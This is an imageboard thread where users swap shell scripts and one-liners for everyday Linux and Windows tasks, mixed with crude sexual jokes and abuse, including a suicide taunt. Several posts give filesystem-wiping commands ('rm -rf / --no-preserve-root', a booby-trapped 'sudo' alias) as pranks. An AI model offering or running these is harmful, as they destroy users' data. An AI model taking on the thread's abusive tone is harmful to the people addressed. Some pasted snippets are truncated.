Let's have a shell script thread

Let's have a shell script thread.
>post comfy scripts and oneliners that ease your work

Attached: 1531675860102.jpg (720x1280, 134K)

Other urls found in this thread:

warosu.org/g/thread/67111246
pastebin.com/raw/h4smMNpH
pastebin.com/raw/DiX8KN13
localhost:${port};
twitter.com/NSFWRedditGif

stop posting pictures that remind me of my autogynephilia

exit

>Mom
Fuck, that must be quite painful. Even if hers has a bigger than average opening.

would, without hesitation.

#!/bin/bash
g++ -o $1 $1.cpp

saves me a lot of time because I'm still learning c++

#!/bin/bash
cat > /tmp/circle.svg

ps -A | grep "$1$" | awk '{print $1}' | xargs kill -9

feh --bg-max ~/Pictures/trapcock.jpg

Dude pgrep and pkill exist

use cmake or just make

I'm such a sucker for bangs fucking hell

wouldn't I have to write a makefile then?
my class is basically still on helloworld.cpp tier shit, not sure if it's worth

you could do the same with
make $1

nice. the absolute state of gimp tho

no you don't need a make file you could just type
make helloworld


make will see your helloworld.cpp file and figure out what to do with it. (it will run you c++ compiler and output the helloworld binary)

The earlier you manage the build system, the better, its one of the big missing point of C and C++ programming for a lot of people.
And use cmake, Jow Forums will tell you make or mk, but irl cmake is the current best option

ok I like this a lot more. thanks.

Attached: 2018-09-21-225154_227x72_scrot.png (227x72, 2K)

go doesn't have this problem

also maybe skip the cpp shit and learn c first. I can recommend "learn c the hard way" by zed shaw. pretty good for making some real working code.

c++ is a requirement for my associate degree but not c desu

you can make a makefile when you want to automate some shit like when you want to make all your different programs in one dir.

all: prog1 3-3 helloworld


then run
make all

rm -rf / --no-preserve-root

pipe output of command to clipboard
echo 'example' | xclip -selection clipboard

#!/bin/bash
CPU_LOAD=($(mpstat -P ALL 1 1 | awk '/Average:/ && $2 ~ /[0-9]/ {prin$
MEMORY=($(free | grep Mem | awk '{printf("%.2f%", $3/$2 * 100.0)}'))
xsetroot -name "MEM: $MEMORY - CPU: ${CPU_LOAD[0]}% ${CPU_LOAD[1]}% $$

Use it to set my dwm status bar. Gives me a percentage of memory used, CPU usage on each thread, and the date+time. Runs every 3 seconds.

t. 12 year old

topp ()
{
top p $(pgrep -d, "$1")
}

> top -p switch accepts up to 20 pid pgrep matches.

alias sudo="sudo rm -rf / --no-preserve-root ;"

based and redpilled.

>I call other people underage because I'm actually too young to be here

bingrep(){
for dir in ${PATH//:/ }; do
ls $dir | grep $1
done
}

short bash script i wrote for regex-matching binary files. useful for all the times i installed a package that doesnt have the same binary name as the package itself
or for when i forget the name of a command but only remember part of it

>uses "I'm rubber, you're glue" as an argument

sudo rm -rf /*

type $(compgen -c | grep ^ch)

Intredastingly, typing an equals sign ends the pgrep filter just like if you had started top then typed o to create a field/value filter.

Friendly reminder to indulge your agp with hormones

>he uses the one command in the unix world that has given it it's somewhat undeserved reputation as a bunch of cunts as an eg.
>he thinks it's somehow funny fucken decades later....

You're a blight on humanity. The fact that you're still alive and consuming resources when so many better people have died tragic early deaths is proof that there is no god and she clearly has no sense of humour.

Learn here-strings, they're comfy.
xclip -selection clipboard

My top hack:
printf \\e[?47h; top; printf \\e[?47l
Saves the screen, runs top, restores the screen.

I would also call my mom the best mom ever if she was this hot and taught me about sex using her own body.

for file in $(ls -1); do somethingwith $file; done

>mom
user...

Attached: 12000.png (1600x2160, 579K)

penetrated your boyhole with her hammerhead shark cock?

cat alltest.txt | xargs -n1 -I % sh -c 'echo youtube-upload --privacy=public -t $(basename %) %' > finalscript.sh

this reads from file named alltest.txt which contains filepaths such as

/file/path/goes/here/Gondola/upload_21.webm

trying to have output be

youtube-upload --privacy=public -t upload_21.webm /file/path/goes/here/Gondola/upload_21.webm

but it runs into errors when filename contains parentheses.

sh: 1: Syntax error: "(" unexpected (expecting ")")

how to avoid error?

Is this bait?

Holy shit you're all actual fucking retards that can't even write bash scripts properly

Try quoting "$(stuff)"

good idea

why

Chads do it like this:
for file in ./*; do somethingwith "$file"; done

Enlighten us.

pkill self

ebin

image downloader.
#!env zsh

if [ $# -ge 1 ] ; then
export arg=$1
else
export arg=$(xclip -o)
fi

extractAwk=~/extract-Jow Forums.awk

curl $arg |
fmt |
gawk -f $extractAwk |
uniq |
parallel -j6 wget -T9 -c {}


Name this file extract-Jow Forums.awk and put in the same folder
{
for (i = 1; i

Jow Forums image downloader. You should change this line
extractAwk=./extract-Jow Forums.awk

Please quote your variables.

please hurry up and suicide already

Attached: 1464201629125.png (400x573, 346K)

Try being less of a wet blanket loser

i'll try

Mine version:
#!/usr/bin/env bash
curl $1 > index.html
cat index.html | sed "s/i.4cdn/\\`echo -e '\n\r'`i.4cdn/g" | sed "s/\".*$//" | sed "s/^.*s.jpg//g" | sed "s/i.4cdn.org\/scdfeolite.*$//" > url
tail -n +2 url | head -n -2 | sort -u > url.txt
xargs -n 1 curl -O < url.txt
rm index.html
rm url
rm url.txt

alias faptime="firefox pornhub.com&"

Wish my mom looked like that.

>not gelbooru
Gay.

Me too.

Holy shit. That's legendary.

Wanna make her mom again

>tfw no mommy with a salami gf
Anyway, wow to think Jow Forums used to be known for trolls and hackers. Now we can barely write the most basic scripts.

switch to htop already

Don't listen to that guy. Zed is a good writer, but not a good programmer.

#!/bin/bash
wget -nv -nd -mpHe robots=off --accept "jpg,png,gif,webm" -D i.4cdn.org "$@"

add a `&& sudo` and you'll be golden

Only normies think that.
Jow Forums is more like crossroads of the internet, so when compitent people do occasionally stumble upon eachother and have a common goal to achive, sure cool things happen
the rest of the time its some degenerates measuring their e-peen by "trolling" eachother, incels whining about their shitty life, various other freaks sharing porn and flirting with eachother

Hot
I'm glad she's a happy mother

You don't get it do you? And you call them a brainlet? That's rich. How would you kill ALL processes at once with pkill? Using a loop?

Try this user:

for FILE in * ; do echo ${FILE} ; done

ITT: Gentoofag ends up sharing a slightly adapted version of a company owned IP and is fired and sued for thousands of dollars

this

alias duh="du -ch * | sort -h"

Attached: 1537434971412.jpg (1536x2048, 268K)

### TELEPORTING ###
portkey='~/.portkey'
alias throw="pwd > $portkey"
alias catch="cd \$(cat $portkey)"

Saved as a bat file this will allow to rename a file to a unix timestamp representation based on the creation time:
@ECHO OFF
set input=%*
set input=%input:"="""%
start "" powershell -nologo -noninteractive -noprofile -WindowStyle hidden -command "&{ gci $args|Rename-Item -NewName { [string]([datetimeoffset]$_.CreationTime).ToUnixTimeMilliseconds() + $_.Extension } }" %input%

Simply drag one more files on top of the batch file.

pushd and popd

warosu.org/g/thread/67111246

$ view new.ebuild
1999-2018 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2

EAPI=7

DESCRIPTION=""
HOMEPAGE=""
SRC_URI=""

LICENSE=""
SLOT="0"
KEYWORDS="~amd64 ~x86"
IUSE=""

DEPEND=""
RDEPEND="${DEPEND}"
BDEPEND=""

type 'cal' into your terminal

to see live log updates: tail -f filename

thats all i got

Sounds like one of your input files have a parenthesis in its names. Use a 'while read' loop instead to avoid having to deal with escaping.

ok let's do this
#here's the pastebin link with 3 to 4 scripts
pastebin.com/raw/h4smMNpH

#here's few aliases
pastebin.com/raw/DiX8KN13

#!/bin/bash

# work tree has to be clean
if [ -n "$(git status --porcelain)" ]; then
echo "$(git status)"
exit 1
fi

# changes get pushed rigorously
echo "### git push"
git push


# information get from git
# pwd has to be inside of the git repository
# remote has to be origin, other remotes are not supported
REMOTE=$(git remote get-url origin)

# server (ssh host) extracted git url
# port is ignored, works only with default port (22)
SERVER=${REMOTE%%:*}

# directory of git repository on server side
REPODIR=${REMOTE##*:}

# project name is the name of the origin directory (with .git stripped)
PROJECT=${REPODIR##*/}
PROJECT=${PROJECT%.git}

# target directory has to be on same server
# target directory has to be inside /srv/web/
# target directory name has to be the project name
# target directory has to exist when this script is called
TARGETDIR=/srv/web/$PROJECT

# works only for servers accessible via ssh (no local support)
# works only for certificate authentication
# checks out ''master'' from repository, which is ''origin/master''
echo
echo "### ssh $SERVER git --work-tree=$TARGETDIR --git-dir=$REPODIR checkout -f"
ssh $SERVER git --work-tree=$TARGETDIR --git-dir=$REPODIR checkout -f
#echo $REMOTE
#echo $SERVER

Cleanup Windows File Repository Drivers

$drivers = pnputil -e | Select-String "Published name"
foreach($driver in $drivers){
$driver = $driver.toString().replace("Published name :", "").trim()
pnputil -d $driver
}

I can get 10GB back sometimes

Fucked up penis

Hmm interesting. From the name I assumed it returned your 'bing rep'

spurdo() {
sed "s/kek/geg/gI;s/epic/ebin/gI;s/america/clapistan/gI;s/right/rite/gI;s/your/ur/gI;s/\./ :DD/gI;s/'//gI;s/,/XDD/gI;s/wh/w/gI;s/th/d/gI;s/af/ab/gI;s/ap/ab/gI;s/ca/ga/gI;s/ck/gg/gI;s/co/go/gI;s/ev/eb/gI;s/ex/egz/gI;s/et/ed/gI;s/iv/ib/gI;s/it/id/gI;s/ke/ge/gI;s/nt/nd/gI;s/op/ob/gI;s/ot/od/gI;s/po/bo/gI;s/pe/be/gI;s/pi/bi/gI;s/up/ub/gI;s/va/ba/gI;s/ck/gg/gI;s/cr/gr/gI;s/kn/gn/gI;s/lt/ld/gI;s/mm/m/gI;s/nt/dn/gI;s/pr/br/gI;s/ts/dz/gI;s/tr/dr/gI;s/bs/bz/gI;s/ds/dz/gI;s/es/es/gI;s/fs/fz/gI;s/gs/gz/gI;s/ is/iz/gI;s/as/az/gI;s/ls/lz/gI;s/ms/mz/gI;s/ns/nz/gI;s/rs/rz/gI;s/ss/sz/gI;s/ts/tz/gI;s/us/uz/gI;s/ws/wz/gI;s/ys/yz/gI;s/alk/olk/gI;s/ing/ign/gI;s/ic/ig/gI;s/ng/nk/gI" \

Starts a HTTP server from the current directory

serve='(port=$(( 8000+( $(od -An -N2 -i /dev/random) )%(1023+1) )); (open localhost:${port}; python -m SimpleHTTPServer ${port}))'


Recursively gets all the files on a webpage (effectively archiving a webpage for local use)

fwget='wget --mirror --convert-links --adjust-extension --page-requisites --no-parent -e robots=off '

Quote your variable.

She's cute

That’s a guy
He’s got a deformed penis from birth as well

A little script to control the brightness of my laptop monitor. I wrote it because the control keys on the keyboard didn't work
#!/bin/sh
brightness=/sys/class/backlight/intel_backlight/brightness
maxbr=4794
if [ $# -eq 0 ] ; then
n=$(cat $brightness)
echo $n \($(echo $n/$maxbr*100 | bc -l | cut -d . -f 1)%\)
exit
fi
case "$1" in
*"%"*) n=$(echo "$1"/100*$maxbr | sed 's/[%+-]//g' \
| bc -l | cut -d . -f 1) ;;
*) n=$(echo "$1" | sed -r 's/\+|\-//g') ;;
esac
case "$1" in
*"+") echo $(cat $brightness)+$n | bc -l > $brightness ;;
*"-") echo $(cat $brightness)-$n | bc -l > $brightness ;;
*) echo $n > $brightness ;;
esac

>she

sudo rm yourself

kind of fitting so ill ask, how do i make it so i can have a script that gets called without inputting the whole path everytime i want to source it, do i use aliases like for example
alias myshittyscript=/path/to/script
or it will work only with already recognized commands?

okay so it actually works